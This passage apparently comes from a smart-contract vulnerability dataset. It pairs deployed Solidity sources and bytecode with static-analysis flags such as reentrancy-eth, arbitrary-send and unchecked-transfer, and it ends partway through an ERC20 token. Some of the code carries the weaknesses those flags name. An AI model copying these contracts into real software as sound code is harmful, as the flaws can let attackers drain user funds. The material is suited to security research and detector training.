6006602052604090205460019060ff168061125457506001600160a01b03831660009081526006602052604090205460ff165b8061128657506017546001600160a01b0385811691161480159061128657506017546001600160a01b03848116911614155b1561129357506000611356565b6017546001600160a01b0385811691161480156112be57506016546001600160a01b03848116911614155b15611319576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a541415611319576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b03848116911614801561134457506016546001600160a01b03858116911614155b1561135657600d54600f55600e546010555b611362848484846116b7565b50505050565b6000818484111561138c5760405162461bcd60e51b81526004016106e09190611cdc565b5060006113998486611e57565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610751573d6000803e3d6000fd5b60006007548211156114435760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106e0565b600061144d6116eb565b90506114598382611668565b9392505050565b6017805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114a8576114a8611e9f565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114fc57600080fd5b505afa158015611510573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115349190611af0565b8160018151811061154757611547611e9f565b6001600160a01b03928316602091820292909201015260165461156d9130911684610bea565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906115a6908590600090869030904290600401611d8d565b600060405180830381600087803b1580156115c057600080fd5b505af11580156115d4573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826115f857506000610647565b60006116048385611e38565b9050826116118583611e16565b146114595760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106e0565b600061145983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170e565b6107c13061dead83610d0e565b806116c4576116c461173c565b6116cf848484611781565b8061136257611362601254600f55601354601055601454601155565b60008060006116f8611878565b90925090506117078282611668565b9250505090565b6000818361172f5760405162461bcd60e51b81526004016106e09190611cdc565b5060006113998486611e16565b600f5415801561174c5750601054155b80156117585750601154155b1561175f57565b600f805460125560108054601355601180546014556000928390559082905555565b600080600080600080611793876118b8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c59087611915565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117f49086611957565b6001600160a01b038916600090815260026020526040902055611816816119b6565b6118208483611a00565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186591815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006118938282611668565b8210156118af57505060075492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006118d58a600f54601054611a24565b92509250925060006118e56116eb565b905060008060006118f88e878787611a73565b919e509c509a509598509396509194505050505091939550919395565b600061145983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611368565b6000806119648385611dfe565b9050838110156114595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106e0565b60006119c06116eb565b905060006119ce83836115e9565b306000908152600260205260409020549091506119eb9082611957565b30600090815260026020526040902055505050565b600754611a0d9083611915565b600755600854611a1d9082611957565b6008555050565b6000808080611a3860646111d989896115e9565b90506000611a4b60646111d98a896115e9565b90506000611a6382611a5d8b86611915565b90611915565b9992985090965090945050505050565b6000808080611a8288866115e9565b90506000611a9088876115e9565b90506000611a9e88886115e9565b90506000611ab082611a5d8686611915565b939b939a50919850919650505050505050565b8035611ace81611ecb565b919050565b600060208284031215611ae557600080fd5b813561145981611ecb565b600060208284031215611b0257600080fd5b815161145981611ecb565b60008060408385031215611b2057600080fd5b8235611b2b81611ecb565b91506020830135611b3b81611ecb565b809150509250929050565b600080600060608486031215611b5b57600080fd5b8335611b6681611ecb565b92506020840135611b7681611ecb565b929592945050506040919091013590565b60008060408385031215611b9a57600080fd5b8235611ba581611ecb565b946020939093013593505050565b60006020808385031215611bc657600080fd5b823567ffffffffffffffff80821115611bde57600080fd5b818501915085601f830112611bf257600080fd5b813581811115611c0457611c04611eb5565b8060051b604051601f19603f83011681018181108582111715611c2957611c29611eb5565b604052828152858101935084860182860187018a1015611c4857600080fd5b600095505b83861015611c7257611c5e81611ac3565b855260019590950194938601938601611c4d565b5098975050505050505050565b600060208284031215611c9157600080fd5b8135801515811461145957600080fd5b600060208284031215611cb357600080fd5b5035919050565b60008060408385031215611ccd57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611d0957858101830151858201604001528201611ced565b81811115611d1b576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ddd5784516001600160a01b031683529383019391830191600101611db8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1157611e11611e89565b500190565b600082611e3357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e5257611e52611e89565b500290565b600082821015611e6957611e69611e89565b500390565b6000600019821415611e8257611e82611e89565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dcbf040665dc22480e93c72780ef43b8a06ef92c1687be39438c86c68cde89bd64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,679
0x5eeb73813f3cdb275e10d9f444843266a8a391a2
pragma solidity 0.5.17; interface IUniswapV2Router02 { function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } interface IERC20FeeProxy { event TransferWithReferenceAndFee( address tokenAddress, address to, uint256 amount, bytes indexed paymentReference, uint256 feeAmount, address feeAddress ); function transferFromWithReferenceAndFee( address _tokenAddress, address _to, uint256 _amount, bytes calldata _paymentReference, uint256 _feeAmount, address _feeAddress ) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeERC20 { /** * @notice Call transferFrom ERC20 function and validates the return data of a ERC20 contract call. * @dev This is necessary because of non-standard ERC20 tokens that don't have a return value. * @return The return value of the ERC20 call, returning true for non-standard tokens */ function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool result) { address tokenAddress = address(_token); /* solium-disable security/no-inline-assembly */ // check if the address is a contract assembly { if iszero(extcodesize(tokenAddress)) { revert(0, 0) } } // solium-disable-next-line security/no-low-level-calls (bool success, ) = tokenAddress.call(abi.encodeWithSignature( "transferFrom(address,address,uint256)", _from, _to, _amount )); assembly { switch returndatasize() case 0 { // not a standard erc20 result := 1 } case 32 { // standard erc20 returndatacopy(0, 0, 32) result := mload(0) } default { // anything else, should revert for safety revert(0, 0) } } require(success, "transferFrom() has been reverted"); /* solium-enable security/no-inline-assembly */ return result; } } contract ERC20SwapToPay is Ownable { using SafeERC20 for IERC20; IUniswapV2Router02 public swapRouter; IERC20FeeProxy public paymentProxy; constructor(address _swapRouterAddress, address _paymentProxyAddress) public { swapRouter = IUniswapV2Router02(_swapRouterAddress); paymentProxy = IERC20FeeProxy(_paymentProxyAddress); } /** * @notice Authorizes the proxy to spend a new request currency (ERC20). * @param _erc20Address Address of an ERC20 used as a request currency */ function approvePaymentProxyToSpend(address _erc20Address) public { IERC20 erc20 = IERC20(_erc20Address); uint256 max = 2**256 - 1; erc20.approve(address(paymentProxy), max); } /** * @notice Authorizes the swap router to spend a new payment currency (ERC20). * @param _erc20Address Address of an ERC20 used for payment */ function approveRouterToSpend(address _erc20Address) public { IERC20 erc20 = IERC20(_erc20Address); uint256 max = 2**256 - 1; erc20.approve(address(swapRouter), max); } /** * @notice Performs a token swap between a payment currency and a request currency, and then * calls a payment proxy to pay the request, including fees. * @param _to Transfer recipient = request issuer * @param _amount Amount to transfer in request currency * @param _amountInMax Maximum amount allowed to spend for currency swap, in payment currency. This amount should take into account the fees. @param _path, path of ERC20 tokens to swap from requestedToken to spentToken. The first address of the path should be the payment currency. The last element should be the request currency. * @param _paymentReference Reference of the payment related * @param _feeAmount Amount of the fee in request currency * @param _feeAddress Where to pay the fee * @param _deadline Deadline for the swap to be valid */ function swapTransferWithReference( address _to, uint256 _amount, // requestedToken uint256 _amountInMax, // spentToken address[] calldata _path, // from requestedToken to spentToken bytes calldata _paymentReference, uint256 _feeAmount, // requestedToken address _feeAddress, uint256 _deadline ) external { IERC20 spentToken = IERC20(_path[0]); IERC20 requestedToken = IERC20(_path[_path.length-1]); uint256 requestedTotalAmount = _amount + _feeAmount; require(spentToken.allowance(msg.sender, address(this)) > _amountInMax, "Not sufficient allowance for swap to pay."); require(spentToken.safeTransferFrom(msg.sender, address(this), _amountInMax), "Could not transfer payment token from swapper-payer"); // Allow the router to spend all this contract's spentToken if (spentToken.allowance(address(this),address(swapRouter)) < _amountInMax) { approveRouterToSpend(address(spentToken)); } swapRouter.swapTokensForExactTokens( requestedTotalAmount, _amountInMax, _path, address(this), _deadline ); // Allow the payment network to spend all this contract's requestedToken if (requestedToken.allowance(address(this),address(paymentProxy)) < requestedTotalAmount) { approvePaymentProxyToSpend(address(requestedToken)); } // Pay the request and fees paymentProxy.transferFromWithReferenceAndFee( address(requestedToken), _to, _amount, _paymentReference, _feeAmount, _feeAddress ); // Give the change back to the payer, in both currencies (only spent token should remain) if (spentToken.balanceOf(address(this)) > 0) { spentToken.transfer(msg.sender, spentToken.balanceOf(address(this))); } if (requestedToken.balanceOf(address(this)) > 0) { requestedToken.transfer(msg.sender, requestedToken.balanceOf(address(this))); } } /* * Admin functions to edit the admin, router address or proxy address */ function setPaymentProxy(address _paymentProxyAddress) public onlyOwner { paymentProxy = IERC20FeeProxy(_paymentProxyAddress); } function setRouter(address _newSwapRouterAddress) public onlyOwner { swapRouter = IUniswapV2Router02(_newSwapRouterAddress); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b146102b6578063a09b241d14610300578063c0d7865514610344578063c31c9c0714610388578063f2fde38b146103d25761009e565b806330e175c9146100a35780633cd3efef146100e7578063715018a6146101315780637262b4c51461013b5780638d09fe2b1461017f575b600080fd5b6100e5600480360360208110156100b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610416565b005b6100ef61052a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610139610550565b005b61017d6004803603602081101561015157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506106d8565b005b6102b4600480360361010081101561019657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803590602001906401000000008111156101e757600080fd5b8201836020820111156101f957600080fd5b8035906020019184602083028401116401000000008311171561021b57600080fd5b90919293919293908035906020019064010000000081111561023c57600080fd5b82018360208201111561024e57600080fd5b8035906020019184600183028401116401000000008311171561027057600080fd5b909192939192939080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e5565b005b6102be611400565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103426004803603602081101561031657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611429565b005b6103866004803603602081101561035a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061153d565b005b61039061164a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610414600480360360208110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611670565b005b600081905060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104e957600080fd5b505af11580156104fd573d6000803e3d6000fd5b505050506040513d602081101561051357600080fd5b810190808051906020019092919050505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61055861187d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610619576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6106e061187d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000878760008181106107f457fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000888860018b8b90500381811061082757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1690506000858c0190508a8373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e33306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156108ff57600080fd5b505afa158015610913573d6000803e3d6000fd5b505050506040513d602081101561092957600080fd5b810190808051906020019092919050505011610990576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611b166029913960400191505060405180910390fd5b6109bd33308d8673ffffffffffffffffffffffffffffffffffffffff16611885909392919063ffffffff16565b610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611b3f6033913960400191505060405180910390fd5b8a8373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015610ae657600080fd5b505afa158015610afa573d6000803e3d6000fd5b505050506040513d6020811015610b1057600080fd5b81019080805190602001909291905050501015610b3157610b3083610416565b5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638803dbee828d8d8d308a6040518763ffffffff1660e01b815260040180878152602001868152602001806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281038252868682818152602001925060200280828437600081840152601f19601f820116905080830192505050975050505050505050600060405180830381600087803b158015610c2157600080fd5b505af1158015610c35573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015610c5f57600080fd5b8101908080516040519392919084640100000000821115610c7f57600080fd5b83820191506020820185811115610c9557600080fd5b8251866020820283011164010000000082111715610cb257600080fd5b8083526020830192505050908051906020019060200280838360005b83811015610ce9578082015181840152602081019050610cce565b5050505090500160405250505050808273ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015610dcb57600080fd5b505afa158015610ddf573d6000803e3d6000fd5b505050506040513d6020811015610df557600080fd5b81019080805190602001909291905050501015610e1657610e1582611429565b5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c219a14d838f8f8c8c8c8c6040518863ffffffff1660e01b8152600401808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001868152602001806020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252868682818152602001925080828437600081840152601f19601f82011690508083019250505098505050505050505050600060405180830381600087803b158015610f6357600080fd5b505af1158015610f77573d6000803e3d6000fd5b5050505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ffa57600080fd5b505afa15801561100e573d6000803e3d6000fd5b505050506040513d602081101561102457600080fd5b810190808051906020019092919050505011156111b6578273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156110d557600080fd5b505afa1580156110e9573d6000803e3d6000fd5b505050506040513d60208110156110ff57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561117957600080fd5b505af115801561118d573d6000803e3d6000fd5b505050506040513d60208110156111a357600080fd5b8101908080519060200190929190505050505b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561123557600080fd5b505afa158015611249573d6000803e3d6000fd5b505050506040513d602081101561125f57600080fd5b810190808051906020019092919050505011156113f1578173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561131057600080fd5b505afa158015611324573d6000803e3d6000fd5b505050506040513d602081101561133a57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156113b457600080fd5b505af11580156113c8573d6000803e3d6000fd5b505050506040513d60208110156113de57600080fd5b8101908080519060200190929190505050505b50505050505050505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081905060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114fc57600080fd5b505af1158015611510573d6000803e3d6000fd5b505050506040513d602081101561152657600080fd5b810190808051906020019092919050505050505050565b61154561187d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611606576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61167861187d565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611739576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117bf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611af06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080859050803b61189657600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16868686604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040527f23b872dd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106119d857805182526020820191506020810190506020830392506119b5565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611a3a576040519150601f19603f3d011682016040523d82523d6000602084013e611a3f565b606091505b505090503d60008114611a595760208114611a6257600080fd5b60019350611a6e565b60206000803e60005193505b5080611ae2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f7472616e7366657246726f6d282920686173206265656e20726576657274656481525060200191505060405180910390fd5b829250505094935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734e6f742073756666696369656e7420616c6c6f77616e636520666f72207377617020746f207061792e436f756c64206e6f74207472616e73666572207061796d656e7420746f6b656e2066726f6d20737761707065722d7061796572a265627a7a723158201a3a5a2dbc3df5cfb167f354bceb6b275c0ff783ee8e326541df27f90300ad8664736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,680
0x8c1704ad15d1f42ddd0d0255532198b22e5c2aff
pragma solidity ^0.4.15; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier 